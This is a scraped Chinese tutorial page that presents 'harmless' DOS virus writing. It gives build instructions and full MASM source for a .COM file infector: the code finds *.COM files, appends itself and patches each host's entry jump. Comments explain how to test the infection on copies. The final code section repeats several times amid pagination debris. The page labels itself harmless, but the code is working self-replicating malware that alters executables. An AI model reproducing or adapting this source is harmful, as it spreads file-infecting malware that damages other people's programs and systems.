用vb编写简单病毒,简单无害的DOS病毒编写

简单无害的DOS病毒编写 - 网络安全 - 电脑教程网

简单无害的DOS病毒编写

日期:2006-03-24   荐:
===========BEGIN OF LJ.ASM============
请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:
C:\>MASM LJ.ASM 生成.OBJ文件及.LST文件
C:\>LINK LJ.OBJ 生成.EXE文件
C:\>EXE2BIN LJ.EXE LJ.COM
即生成LJ.COM文件,然后即可直接运行,该程序无任何目的,只用于被病毒感染调试用,可直接运行,格式如下:
C:>LJ
                         .19.
原程序如下:
SEG_A     SEGMENT   BYTE PUBLIC
    ASSUME   CS:SEG_A, DS:SEG_A
    ORG   100H
LJJ2     PROC   FAR
START:
  JMP REAL_START
REAL_START:
  NOP
    NOP
    NOP
    MOV   AH,4CH
  INT 21H  
LJJ2     ENDP
SEG_A     ENDS
    end   start


=============BEGIN OF VIRDOS1.ASM============(.COM文件病毒)
(1)请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:
C:\>MASM VIRDOS1.ASM 生成.OBJ文件及.LST文件
C:\>LINK VIRDOS1.OBJ 生成.EXE文件
C:\>EXE2BIN VIRDOS1.EXE VIRDOS1.COM
即生成VIRDOS1.COM文件,然后即可运行,先看一个调试程序LJ.COM的字节数(如10个字节长度) 运行格式如下:
C:>VIRDOS1 LJ.COM
在DOS下运行上述命令后即可看到LJ.COM文件字节变长,这就是LJ.COM被病毒VIRDOS1.COM第一次感染后的结果.我们可以用COPY命令复制一个同LJ.COM(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫LJ1.COM吧!
被病毒感染的LJ.COM在DOS下运行的格式:
C:>LJ.COM
运行过后我们再查看LJ1.COM文件长度是否变长了,是的话即LJ1.COM也被病毒感染了.

;本程序调试请使用TR或DEBUG
GoHead MACRO
MOV AX,4200H      ;移动文件指针至文件头 
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
GoTail MACRO   
MOV AX,4202H      ;移动文件指针至文件尾 
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
CODE SEGMENT
ORG 100H
ASSUME CS:CODE;DS:CODE
START: JMP INIZ    ;无条件转到INIZ(目的执行病毒释放程序)
BEGIN:
JMP  START1      ;执行病毒第一条指令
FN DB '*.COM',0    ;用于搜索所有.COM文件的伪定义
COM_SH_LEN DW 0000H    ;用于目的文件长度的伪定义(因为病毒加载目的文件时要
;计算目的文件长度)
ENDCDE DB 0
OPENMSG DB '***OPEN ERROR ***',0DH,0AH  ;第一次想要释放病毒时打开目的文件错误
FTYPE DB 0         
HDI DW 0         

                         .22.
QQ DW 0         
KT DW 0          
LEN DD 0       
BUF DB 1024 DUP(0)     ;缓冲区1024字节
;  STR DB 0DH,0AH,"NO -MATCH! $"
STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$"
;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $"
BUT DW 0000H
COM_HANDLE DW 0000H     ;文件句柄
INT13H DD 0000H       ;中断13的存储地址
INT21H DD 0000H       ;中断21的存储地址
INT2FH DD 0000H       ;中断2F的存储地址
JJ DW 0000H       
CURRENT_INT DD 3 DUP(0)   
TF DB 2 DUP(0)
COM_BUF DB 0E9H,0,0
COM_BU DB 3 DUP(0)
HEAD1 DB 10 DUP(0)
HEAD7 DB 7 DUP(0)
HEAD3 DB 3 DUP(0)
READ_BUF DB 10 DUP(0)
HEAD2 DB 10 DUP(0)
COM_MSG DB 0AH,0DH
   DB "Notice Ifound Unknow Virus.."
   db 0AH,0DH
   DB "Now,I kill it"
   DB 0AH,0DH,'$'
LJG DB 0AH,0DH
  DB "I cat not write back file"
  DB 0AH,0DH,'$'
START1:

[1] [2] [3] [4]  

MOV AH,30H   取DOS版本
INT 21H
CMP BL,5BH  是5.0版吗,不是转NEXT
JNZ NEXT
; LEA DX,STR2+7
JMP EXIT7  ;无条件转EXIT7
NEXT: MOV BL,DS:[80H] ;取.COM文件80H缓冲区.(80H区作用请参考本书其他章节)
OR BL,BL    ;BL或运算
; JNZ NEXT1
JMP NEXT1   ;转NEXT1
NEXT1:XOR BH,BH   ;BH或运算

                         .23.
MOV BYTE PTR [BX+81],0 ;[BX+81]单元置0
MOV SI,81H     ;SI=81H

LOOP1:LODSB     
CMP AL,20H      ;SI是否为空格,相等转LOOP1,不相等SI=SI-
JZ LOOP1
DEC SI
LEA DI,FN+[DI]    ;DI=文件被病毒感染后的(*.COM)字符
PUSH BX
; PUSH DI
MOV CX,BX      ;不为0时重复传送指令
REPNZ MOVSB
XOR CX,CX   ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置
MOV DI,101H
MOV BX,[DI]
LEA DX,FN+[BX]  ;被病毒感染后.COM字符的正确位置
MOV CX,0
MOV AH,4EH   ;搜索.COM文件
INT 21H
LOOP2:JNC NEXT2 ;没错转NEXT2
JMP EXITE
NEXT2:
MOV DI,00H
MOV BP,0101H
MOV DI,[BP]  ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置送DI
PUSH DI
XOR CX,CX
; LEA SI,READ_BUF+[DI]
LEA SI, HEAD3+[DI]   ;恢复被病毒感染后原文件第一条指令,以便文件能正常运行
MOV DI,100H
MOV CX,3
CLD
REP MOVSB
POP DI
MOV AH,2FH
INT 21H
PUSH ES   ;设置磁盘传送地址
POP DS
ADD BX,1EH
PUSH BX
; POP DI   ;计算BX在80区的正确位置
POP DX

                         .24.
CALL SCAN  ;调用搜索模块,成功转YY
JNC YY
JMP EXITE
YY:  MOV AH,4FH ;搜索下一个.COM文件

INT 21H
JC EXIT7
JMP LOOP2
EXIT7:JMP DI  ;转0100H继续执行原文件
SCAN PROC NEAR  ;搜索.COM文件模块
MOV SI,DX   ;SI=DX
; POP DI
MOV BP,DI   ;BP=DI
PUSH BP   ;BP入栈
CALL DISP   ;调用显示字母(文件名.COM)字符模块
CLD     ;去方向

LP1:LODSB   ;装入AL
CMP AL,'.'  ;比较是否为”.”字符
JZ SL    ;相等转SL
CMP AL,0   ;比较是否为0,不相等转LP1
JNZ LP1
JMP EXITS
SL:LES AX,[SI]  ;将SI的单元内容送AX,SI+2=ES的单元内容送BX
MOV BX,ES
CMP AX,4F43H ;比较是否为CO字符
JNZ EXITS   ;不相等转EXITS
CMP BL,4DH   ; 比较是否为M字符
JNZ EXITS   ;不相等转EXITS
JMP GOKILL  ;转GOKILL
GOKILL:CALL KILL ;调用感染模块
EXITE: XOR AX,AX
XOR BX,BX
XOR DX,DX    ;寄存器清0,并转0100H执行原文件
XOR SI,SI
MOV DI,0100H
JMP DI
EXITS:RET
SCAN ENDP
KILL PROC NEAR
MOV AX,3D02H   ;读写打开文件
INT 21H    ;打开目标文件的.COM文件,准备感染(目标文件的意思是正在运行的文件
JNC COM    ;如A.COM打开另一个B.COM文件
                         .25.
JMP EXITK
COM:MOV BX,AX
;MOV DI,00H
;MOV BP,0101H
;MOV DI,[BP]
MOV AX,4200H
XOR CX,CX   ;移动文件指针至文件头
MOV DX,0
INT 21H
MOV CX,3
LEA DX,COM_BUF+[DI]   ;读文件头三个字节入正在运行的文件COM_BUF+[DI]偏移地址
MOV AH,3FH      ;处
INT 21H
;JMP COM1
MOV AX,4200H
XOR CX,CX
MOV DX,0    ;移动文件指针至文件头
INT 21H
MOV CX,3
LEA DX,HEAD3+[DI]  ;读文件头三个字节入正在运行的文件HEAD3+[DI]偏移地址处
MOV AH,3FH
INT 21H
JMP COM1    ;转COM1
COM1:MOV AL,COM_BUF+[DI]  ;比较目标文件0100H处是否为此0E9H(即JMP)
CMP AL,0E9H     ;是的话转COM2准备感染
JZ COM2
JMP EXITR 
COM2:
GoTail    ;移动文件指针至文件尾
MOV Word PTR [COM_SH_LEN+[DI]] ,AX ;目标文件长度送[COM_SH_LEN+[DI]]的偏移地址处
ADD AX,0FFFDH        ;AX=目标文件长度-2

 [1] [2] [3] [4]  

MOV WORD PTR [COM_BUF+1+[DI]],AX  ;送入[COM_BUF+[DI]]
PUSH AX          ;AX入栈
; MOV WORD PTR [TF+[DI]],AX
LEA DX, BEGIN+[DI]      ;将BEGIN+[DI]偏移地址送DX
MOV CX,063DH        ;写病毒CX=063DH(H为十六进制)入目标文件
; ADD WORD PTR COM_SH_LEN+[BP],CX
MOV AH,40H
INT 21H
JMP HL
HL:


                         .26.

MOV AX,4200H
XOR CX,CX   ;移动文件指针至0101H处
MOV DX,1
INT 21H
POP AX   ;AX出栈(AX=目标文件长度-2)
MOV WORD PTR KT+[DI],AX ;送入KT+[DI]偏移地址处
MOV AH,40H
LEA DX,KT+[DI]  ;写2个字节入0101H处,目的是目标文件被病毒感染后第一条指令
MOV CX,2    ;被修改成(JMP 后加病毒入口地址)
INT 21H
JMP EXITR
EXITR:MOV AH,3EH  ;关闭文件
INT 21H
EXITK:RET  ;返回调用处
KILL ENDP
DISP PROC NEAR
PUSH SI
MOV AL,0DH
MOV AH,0EH
INT 10H
MOV AL,0AH   ;显示字符模块,搜索时显示(文件名.COM)
MOV AH,0EH
INT 10H
CLD
DD1:LODSB
CMP AL,0
JZ EXITD
MOV AH,0EH
INT 10H
JMP DD1
EXITD:POP SI
RET
DISP ENDP
INIZ:
MOV AX,3513H
INT 21H
MOV WORD PTR INT13H,BX   ;取中断13向量地址送入;INT13H,INT13H+2
MOV WORD PTR [INT13H+2],ES  ;偏移地址处
MOV AX,3521H
INT 21H
MOV WORD PTR INT21H,BX   ;取中断21向量地址送入INT21H,INT21H+2偏移地址处
MOV WORD PTR [INT21H+2],ES
                         .27.
MOV AX,352FH
INT 21H
MOV WORD PTR INT2FH,BX   ;取中断2F向量地址送入INT2FH,INT2FH+2偏移地址处
MOV WORD PTR [INT2FH+2],ES
PUSH DS    ;DS=ES
POP ES
MOV SI,082H  ;SI=082H
MOV DI,OFFSET PATH  ;DI=PATH单元
CLD       ;去方向
MOVE:
CMP BYTE PTR DS:[SI],0DH ;比较是否有回车键
JE CON4       ;相等转CON4
MOVSB        ;不相等重复传送字节
JMP MOVE       ;无条件转MOVE
CON4:
XOR AL,AL
MOV ES:[DI],AL    ;PATH偏移地址送DX
MOV DX,OFFSET PATH  ;按路径打开文件名(格式为原文件名 目的文件名)
MOV AX,3D02H    ;准备第一次感染
INT 21H
JNC CONTINUE  ;打开成功转CONTINUE
JMP OPEN_ERROR
CONTINUE:
MOV DS:HANDLE,AX ;文件句柄送DS:HANDLE,BX
MOV BX,AX
GoHead     ;移动文件指针至文件头
MOV BX,DS:HANDLE
MOV AH,3FH
MOV DX,OFFSET READ_BUF  ;读文件头10个字节入READ_BUF
MOV CX,10
INT 21H
MOV SI,OFFSET READ_BUF
MOV DI,OFFSET HEAD3    ;三个送HEAD3地址偏移处
MOV CX,3
CLD
REP MOVSB
MOV CX,7
MOV DI,OFFSET HEAD7    ;七个送HEAD7
REP MOVSB
GoTail   ;移动文件指针至文件尾
MOV WORD PTR COM_SH_LEN,AX  ;AX=目标文件长度-2
ADD AX,0FFFDH
MOV WORD PTR [COM_BUF+1],AX
                         .28.
ADD AX,0FFFEH   ;AX=目标文件长度-3
MOV WORD PTR BUT,AX ;送入BUT偏移地址
MOV DX,OFFSET BEGIN
MOV CX,OFFSET INIZ   ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3
SUB CX,OFFSET BEGIN
ADD WORD PTR COM_SH_LEN,CX  ;写病毒程序入目标文件(长度=CX)
MOV AH,40H

INT 21H
GoHead     ;移动文件指针至文件头
MOV DX,OFFSET COM_BUF
MOV CX,3       ;写三个字节COM_BUF处内容写入目标文件头
MOV AH,40H
INT 21H
MOV AH,3EH    ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH    ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0)  ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"

 [1] [2] [3] [4]  

HANDLE DW 0000H   ;文件句柄用
CODE ENDS
END START

(出处:http://www.sheup.com)


 [1] [2] [3] [4] 

MOV CX,3
CLD
REP MOVSB
MOV CX,7
MOV DI,OFFSET HEAD7    ;七个送HEAD7
REP MOVSB
GoTail   ;移动文件指针至文件尾
MOV WORD PTR COM_SH_LEN,AX  ;AX=目标文件长度-2
ADD AX,0FFFDH
MOV WORD PTR [COM_BUF+1],AX
                         .28.
ADD AX,0FFFEH   ;AX=目标文件长度-3
MOV WORD PTR BUT,AX ;送入BUT偏移地址
MOV DX,OFFSET BEGIN
MOV CX,OFFSET INIZ   ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3
SUB CX,OFFSET BEGIN
ADD WORD PTR COM_SH_LEN,CX  ;写病毒程序入目标文件(长度=CX)
MOV AH,40H

INT 21H
GoHead     ;移动文件指针至文件头
MOV DX,OFFSET COM_BUF
MOV CX,3       ;写三个字节COM_BUF处内容写入目标文件头
MOV AH,40H
INT 21H
MOV AH,3EH    ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH    ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0)  ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H   ;文件句柄用
CODE ENDS
END START

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] 

INT 21H
MOV AH,3EH    ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH    ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0)  ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H   ;文件句柄用
CODE ENDS
END START

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] [6] 

标签: